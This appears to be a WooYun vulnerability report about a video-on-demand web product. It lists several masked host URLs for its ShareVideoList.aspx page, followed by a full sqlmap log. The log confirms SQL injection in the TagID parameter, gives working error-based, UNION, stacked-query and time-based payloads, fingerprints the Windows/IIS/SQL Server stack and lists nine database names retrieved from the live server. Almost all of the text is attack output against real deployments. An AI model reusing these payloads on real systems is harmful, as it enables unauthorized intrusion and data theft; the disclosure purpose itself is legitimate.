WooYun.org

**.**.**.**/adksvod/PublicFolder/ShareVideoList.aspx?TagID=0003
**.**.**.**:8000/PublicFolder/ShareVideoList.aspx?TagID=0001
**.**.**.**:8088/PublicFolder/ShareVideoList.aspx?TagID=0054
**.**.**.**/adksvod/PublicFolder/ShareVideoList.aspx?TagID=0051
**.**.**.**:86/PublicFolder/ShareVideoList.aspx?TagID=0053
**.**.**.**:8260/PublicFolder/ShareVideoList.aspx?TagID=0053

[22:22:23] [INFO] testing connection to the target url
[22:22:23] [INFO] testing if the url is stable, wait a few seconds
[22:22:24] [INFO] url is stable
[22:22:24] [INFO] testing if GET parameter 'TagID' is dynamic
[22:22:24] [WARNING] GET parameter 'TagID' appears to be not dynamic
[22:22:25] [INFO] heuristic test shows that GET parameter 'TagID' might be injec
table (possible DBMS: Microsoft SQL Server)
[22:22:25] [INFO] testing for SQL injection on GET parameter 'TagID'
[22:22:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:22:25] [WARNING] reflective value(s) found and filtering out
parsed error message(s) showed that the back-end DBMS could be Microsoft SQL Ser
ver. Do you want to skip test payloads specific for other DBMSes? [Y/n]
[22:22:31] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[22:22:32] [INFO] GET parameter 'TagID' is 'Microsoft SQL Server/Sybase AND erro
r-based - WHERE or HAVING clause' injectable
[22:22:32] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[22:22:42] [INFO] GET parameter 'TagID' is 'Microsoft SQL Server/Sybase stacked
queries' injectable
[22:22:42] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[22:22:52] [INFO] GET parameter 'TagID' is 'Microsoft SQL Server/Sybase time-bas
ed blind' injectable
[22:22:52] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:22:52] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[22:22:59] [INFO] target url appears to be UNION injectable with 1 columns
[22:23:00] [INFO] GET parameter 'TagID' is 'Generic UNION query (NULL) - 1 to 20
columns' injectable
GET parameter 'TagID' is vulnerable. Do you want to keep testing the others (if
any)? [y/N]
sqlmap identified the following injection points with a total of 45 HTTP(s) requ
ests:
---
Place: GET
Parameter: TagID
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: TagID=0001' AND 7435=CONVERT(INT,(CHAR(58)+CHAR(121)+CHAR(109)+CHAR
(99)+CHAR(58)+(SELECT (CASE WHEN (7435=7435) THEN CHAR(49) ELSE CHAR(48) END))+C
HAR(58)+CHAR(106)+CHAR(98)+CHAR(101)+CHAR(58))) AND 'eAfH'='eAfH
Type: UNION query
Title: Generic UNION query (NULL) - 1 column
Payload: TagID=0001' UNION ALL SELECT CHAR(58)+CHAR(121)+CHAR(109)+CHAR(99)+
CHAR(58)+CHAR(97)+CHAR(104)+CHAR(67)+CHAR(122)+CHAR(80)+CHAR(115)+CHAR(101)+CHAR
(116)+CHAR(79)+CHAR(84)+CHAR(58)+CHAR(106)+CHAR(98)+CHAR(101)+CHAR(58)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: TagID=0001'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: TagID=0001' WAITFOR DELAY '0:0:5'--
---
[22:23:08] [INFO] testing Microsoft SQL Server
[22:23:08] [INFO] confirming Microsoft SQL Server
[22:23:09] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
[22:23:09] [INFO] fetching database names
[22:23:09] [INFO] the SQL query used returns 9 entries
[22:23:10] [INFO] retrieved: "adksvod3Lan"
[22:23:10] [INFO] retrieved: "adksvod3Online"
[22:23:10] [INFO] retrieved: "adksVodLog"
[22:23:11] [INFO] retrieved: "master"
[22:23:11] [INFO] retrieved: "model"
[22:23:11] [INFO] retrieved: "msdb"
[22:23:11] [INFO] retrieved: "smartlearning2009"
[22:23:12] [INFO] retrieved: "SmartLearning2010"
[22:23:12] [INFO] retrieved: "tempdb"
available databases [9]:
[*] adksvod3Lan
[*] adksvod3Online
[*] adksVodLog
[*] master
[*] model
[*] msdb
[*] smartlearning2009
[*] SmartLearning2010
[*] tempdb